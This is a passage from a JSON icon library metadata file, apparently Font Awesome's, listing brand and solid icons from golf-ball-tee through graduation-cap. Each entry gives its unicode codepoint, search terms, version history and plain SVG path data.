190.4C54.53 189.5 56.09 188.9 57.34 188.9H168.6C169.8 188.9 170.1 189.8 169.5 190.7L164.2 198.8C163.6 199.8 162 200.7 161.1 200.7L48.3 200.4zM1.246 229.1C0 229.1-.3116 228.4 .3116 227.5L6.855 219.1C7.479 218.2 9.037 217.5 10.28 217.5H152.4C153.6 217.5 154.2 218.5 153.9 219.4L151.4 226.9C151.1 228.1 149.9 228.8 148.6 228.8L1.246 229.1zM75.72 255.9C75.1 256.8 75.41 257.7 76.65 257.7L144.6 258C145.5 258 146.8 257.1 146.8 255.9L147.4 248.4C147.4 247.1 146.8 246.2 145.5 246.2H83.2C81.95 246.2 80.71 247.1 80.08 248.1L75.72 255.9zM577.2 237.9C577 235.3 576.9 233.1 576.5 230.9C570.9 200.1 542.5 182.6 512.9 189.5C483.9 196 465.2 214.4 458.4 243.7C452.8 268 464.6 292.6 487 302.6C504.2 310.1 521.3 309.2 537.8 300.7C562.4 287.1 575.8 268 577.4 241.2C577.3 240 577.3 238.9 577.2 237.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M400.1 194.8C389.2 197.6 380.2 199.1 371 202.4C363.7 204.3 356.3 206.3 347.8 208.5L347.2 208.6C343 209.8 342.6 209.9 338.7 205.4C334 200.1 330.6 196.7 324.1 193.5C304.4 183.9 285.4 186.7 267.7 198.2C246.5 211.9 235.6 232.2 235.9 257.4C236.2 282.4 253.3 302.9 277.1 306.3C299.1 309.1 316.9 301.7 330.9 285.8C333 283.2 334.9 280.5 337 277.5V277.5L337 277.5C337.8 276.5 338.5 275.4 339.3 274.2H279.2C272.7 274.2 271.1 270.2 273.3 264.9C277.3 255.2 284.8 239 289.2 230.9C290.1 229.1 292.3 225.1 296.1 225.1H397.2C401.7 211.7 409 198.2 418.8 185.4C441.5 155.5 468.1 139.9 506 133.4C537.8 127.8 567.7 130.9 594.9 149.3C619.5 166.1 634.7 188.9 638.8 218.8C644.1 260.9 631.9 295.1 602.1 324.4C582.4 345.3 557.2 358.4 528.2 364.3C522.6 365.3 517.1 365.8 511.7 366.3C508.8 366.5 506 366.8 503.2 367.1C474.9 366.5 449 358.4 427.2 339.7C411.9 326.4 401.3 310.1 396.1 291.2C392.4 298.5 388.1 305.6 382.1 312.3C360.5 341.9 331.2 360.3 294.2 365.2C263.6 369.3 235.3 363.4 210.3 344.7C187.3 327.2 174.2 304.2 170.8 275.5C166.7 241.5 176.7 210.1 197.2 184.2C219.4 155.2 248.7 136.8 284.5 130.3C313.8 124.1 341.8 128.4 367.1 145.6C383.6 156.5 395.4 171.4 403.2 189.5C405.1 192.3 403.8 193.9 400.1 194.8zM48.3 200.4C47.05 200.4 46.74 199.8 47.36 198.8L53.91 190.4C54.53 189.5 56.09 188.9 57.34 188.9H168.6C169.8 188.9 170.1 189.8 169.5 190.7L164.2 198.8C163.6 199.8 162 200.7 161.1 200.7L48.3 200.4zM1.246 229.1C0 229.1-.3116 228.4 .3116 227.5L6.855 219.1C7.479 218.2 9.037 217.5 10.28 217.5H152.4C153.6 217.5 154.2 218.5 153.9 219.4L151.4 226.9C151.1 228.1 149.9 228.8 148.6 228.8L1.246 229.1zM75.72 255.9C75.1 256.8 75.41 257.7 76.65 257.7L144.6 258C145.5 258 146.8 257.1 146.8 255.9L147.4 248.4C147.4 247.1 146.8 246.2 145.5 246.2H83.2C81.95 246.2 80.71 247.1 80.08 248.1L75.72 255.9zM577.2 237.9C577 235.3 576.9 233.1 576.5 230.9C570.9 200.1 542.5 182.6 512.9 189.5C483.9 196 465.2 214.4 458.4 243.7C452.8 268 464.6 292.6 487 302.6C504.2 310.1 521.3 309.2 537.8 300.7C562.4 287.1 575.8 268 577.4 241.2C577.3 240 577.3 238.9 577.2 237.9z"
      }
    },
    "free": ["brands"]
  },
  "golf-ball-tee": {
    "aliases": {
      "names": ["golf-ball"],
      "unicodes": {
        "secondary": ["10f450"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["caddy", "eagle", "putt", "tee"]
    },
    "styles": ["solid"],
    "unicode": "f450",
    "label": "Golf Ball Tee",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192c0 66.8-34.1 125.6-85.8 160H85.8C34.1 317.6 0 258.8 0 192C0 86 86 0 192 0S384 86 384 192zM242.1 256.6c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zm-52.3-49.3c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4c0 18.5-15 33.5-33.5 33.5zm113.5-17.5c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zM96 416c0-17.7 14.3-32 32-32h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H240c-8.8 0-16 7.2-16 16v16c0 17.7-14.3 32-32 32s-32-14.3-32-32V464c0-8.8-7.2-16-16-16H128c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 192c0 66.8-34.1 125.6-85.8 160H85.8C34.1 317.6 0 258.8 0 192C0 86 86 0 192 0S384 86 384 192zM242.1 256.6c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zm-52.3-49.3c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4c0 18.5-15 33.5-33.5 33.5zm113.5-17.5c0 18.5-15 33.5-33.5 33.5c-4.9 0-9.1 5.1-5.4 8.4c5.9 5.2 13.7 8.4 22.1 8.4c18.5 0 33.5-15 33.5-33.5c0-8.5-3.2-16.2-8.4-22.1c-3.3-3.7-8.4 .5-8.4 5.4zM96 416c0-17.7 14.3-32 32-32h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H240c-8.8 0-16 7.2-16 16v16c0 17.7-14.3 32-32 32s-32-14.3-32-32V464c0-8.8-7.2-16-16-16H128c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "goodreads": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a8",
    "label": "Goodreads",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"
      }
    },
    "free": ["brands"]
  },
  "goodreads-g": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a9",
    "label": "Goodreads G",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"
      }
    },
    "free": ["brands"]
  },
  "google": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a0",
    "label": "Google Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 488 512\"><path d=\"M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z\"/></svg>",
        "viewBox": [0, 0, 488, 512],
        "width": 488,
        "height": 512,
        "path": "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"
      }
    },
    "free": ["brands"]
  },
  "google-drive": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3aa",
    "label": "Google Drive",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"
      }
    },
    "free": ["brands"]
  },
  "google-pay": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e079",
    "label": "Google Pay",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"
      }
    },
    "free": ["brands"]
  },
  "google-play": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ab",
    "label": "Google Play",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"
      }
    },
    "free": ["brands"]
  },
  "google-plus": {
    "changes": ["4.6.0", "5.0.0", "5.13.1"],
    "ligatures": [],
    "search": {
      "terms": ["google-plus-circle", "google-plus-official"]
    },
    "styles": ["brands"],
    "unicode": "f2b3",
    "label": "Google Plus",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"
      }
    },
    "free": ["brands"]
  },
  "google-plus-g": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["google-plus", "social network"]
    },
    "styles": ["brands"],
    "unicode": "f0d5",
    "label": "Google Plus G",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"
      }
    },
    "free": ["brands"]
  },
  "google-wallet": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1ee",
    "label": "Google Wallet",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"
      }
    },
    "free": ["brands"]
  },
  "gopuram": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f664"]
      }
    },
    "changes": [
      "5.3.0",
      "5.7.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "entrance", "hinduism", "temple", "tower"]
    },
    "styles": ["solid"],
    "unicode": "f664",
    "label": "Gopuram",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M120 0c13.3 0 24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h48V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8V64v64c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H416V352H384V224H352V128H320v96h32V352h32V512H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H128V352h32V224h32V128H160v96H128V352H96V512H32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32V256c0-17.7 14.3-32 32-32V160c0-17.7 14.3-32 32-32V64 32 24c0-13.3 10.7-24 24-24zM256 272c-17.7 0-32 14.3-32 32v48h64V304c0-17.7-14.3-32-32-32zm-32-80v32h64V192c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M120 0c13.3 0 24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h48V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8h40V24c0-13.3 10.7-24 24-24s24 10.7 24 24v8V64v64c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H416V352H384V224H352V128H320v96h32V352h32V512H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H128V352h32V224h32V128H160v96H128V352H96V512H32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32V256c0-17.7 14.3-32 32-32V160c0-17.7 14.3-32 32-32V64 32 24c0-13.3 10.7-24 24-24zM256 272c-17.7 0-32 14.3-32 32v48h64V304c0-17.7-14.3-32-32-32zm-32-80v32h64V192c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "graduation-cap": {
    "aliases": {
      "names": ["mortar-board"],
      "unicodes": {
        "composite": ["1f393"],
        "secondary": ["10f19d"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.2.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cap",
        "celebration",
        "ceremony",
        "clothing",
        "college",
        "graduate",
        "graduation",
        "graduation cap",
        "hat",
        "learning",
        "school",
        "student"
      ]
    },
    "styles": ["solid"],
    "unicode": "f19d",
    "label": "Graduation Cap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
